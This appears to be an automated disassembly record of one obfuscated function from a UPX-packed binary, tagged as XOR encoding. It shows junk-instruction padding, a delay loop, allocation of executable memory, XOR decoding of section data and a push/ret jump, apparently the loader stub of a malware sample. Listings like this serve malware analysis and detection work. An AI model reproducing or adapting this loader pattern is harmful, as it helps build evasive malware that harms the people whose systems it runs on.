Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9fff927d
and edx, ecx
or ecx, edx
popal
or ecx, edx
sub ecx, edx
mov eax, 0
mov esi, edx
dec edi
dec edi
mov ecx, esi
or ebx, edi
sub edi, ebx
sub edi, ebx
mov edx, ecx
sub edi, ebx
sub edi, 0x3935a7e0
add eax, 1
sub ebx, 0xff500521
sub edi, ebx
cmp eax, 0x1007074
jne 0xa789c0
sub ebx, edi
or edi, ebx
mov edi, 0xadc4798d
not ecx
add ecx, 0x79885302
mov ecx, 0xa78796
or esi, esi
sub esi, 0x5831b581
or edi, esi
mov eax, 0xa7898a
add edi, 0x92264785
add edi, 0xe5fb3371
mov esi, edi
mov edx, dword [ecx]
not edi
add esi, esi
and ebx, edi
and edx, 0xff
mov esi, edi
mov ebx, 0x8713677a
mov ebx, esi
xor dword [eax], edx
or edi, edi
or esi, ebx
add eax, 1
inc ebx
sub esi, ebx
inc ecx
and ebx, edi
not ebx
and edi, esi
cmp eax, entry0
jl 0xa78a23
or ebx, ebx
mov edi, 0x97865002
sub esi, ebx
and esi, ebx
add ebx, 1
sub edi, ebx
not edx
not ebx
mov esi, 0xa7898e
not edi
sub edx, edi
mov esi, dword [esi]
dec edi
add edi, ecx
mov esi, dword [esi]
and ebx, ebx
mov ebx, 0x61678c57
push esi
not edx
inc edx
mov esi, 0xa7898a
dec edi
or edx, ecx
and edi, edi
mov esi, dword [esi]
add ebx, 0x3b1ec526
and ebx, edx
mov esi, dword [esi]
not ecx
sub edx, ebx
sub ebx, 0x6cc8d388
push 0xa78992
not edi
sub edi, ecx
call esi
sub ebx, 1
dec ebx
mov esi, dword [esp]
add esp, 4
add ecx, 1
not ecx
push 0xa7899f
mov ebx, edi
or edx, ecx
inc edx
push eax
add edx, 0x97eaa3a4
mov ecx, 0x46051d01
call esi
or edi, edx
inc ebx
sub esp, 4
mov dword [esp], 0x40
mov ebx, 0x9993dc47
inc edx
sub esp, 4
mov dword [esp], 0x3000
sub edi, 0x15b78afb
mov edx, edi
push 0x2000082c
or ecx, edi
sub ecx, 0xc1a29226
add edx, 1
push 0
sub edi, 0xd179a7d0
or ecx, ecx
call eax
add ecx, 0x8edb90a8
not ecx
add eax, 0x20000776
inc edi
or edx, edi
sub edx, 0x4a56546d
mov esi, 0x40fe312c
and ecx, ebx
inc ecx
mov dword [eax], esi
add edx, ebx
dec edx
mov esi, dword [eax]
or ebx, edi
sub edi, 0x76e6ad7a
cmp esi, 0x40fe312c
je 0xa78b6a
mov ecx, 0
mov byte [ecx], bl
inc ecx
add edx, 0x10057195
or ecx, ecx
mov edi, ecx
add ecx, edi
mov edx, ecx
sub ecx, edx
mov eax, section.UPX1
not edx
add ecx, 0xb668932c
add edx, ecx
mov esi, 0xa78795
mov ecx, 0xbe79e111
or edx, edx
mov edi, 0
mov edx, 0x3440618
or edx, ecx
add ecx, edx
mov ebx, 0xa78796
not edx
dec ecx
sub edx, 0x2a9725ca
lea ebx, [edi + ebx]
or edx, ecx
mov edx, 0x32d2028e
mov ebx, dword [ebx]
sub ecx, 0xfb6f0ac3
mov ecx, edx
dec edx
and ebx, 0xff
not edx
mov ecx, 0xda6b6695
inc edi
add ecx, 1
sub edx, ecx
add edx, edx
cmp edi, 0x1f4
jne 0xa78bec
mov edi, 0
mov ecx, edx
and edx, ecx
add edx, 0x13cf275a
dec edx
add edx, 1
xor dword [eax], ebx
and edx, ecx
sub edx, 0x6e7c51cf
or edx, edx
add eax, 2
sub ecx, 0xc8e4f1e5
inc edx
sub edx, 0x90d10cc3
cmp eax, esi
jl 0xa78ba4
and edx, ecx
or edx, edx
inc ecx
inc edx
mov ecx, edx
mov ebx, section.UPX1
sub eax, edx
add eax, 1
sub eax, 0x18af7d76
mov esi, section.UPX1
inc eax
sub edx, 0x1518390a
or eax, edx
mov edi, 0xa78795
sub eax, edx
add eax, edx
mov ecx, 0
add edx, 0x44d1c004
mov edx, eax
mov cl, byte [esi]
not eax
mov eax, edx
sub edx, eax
mov byte [ebx], cl
add eax, 0xd99bc6a
add eax, eax
inc ebx
not eax
mov edx, eax
or edx, edx
add esi, 2
mov edx, eax
sub eax, edx
cmp esi, edi
jle 0xa78c63
dec edx
and eax, eax
not edx
not edx
mov ecx, edx
push 0x8dc6a0
and ecx, ecx
add edx, 1
not ecx
ret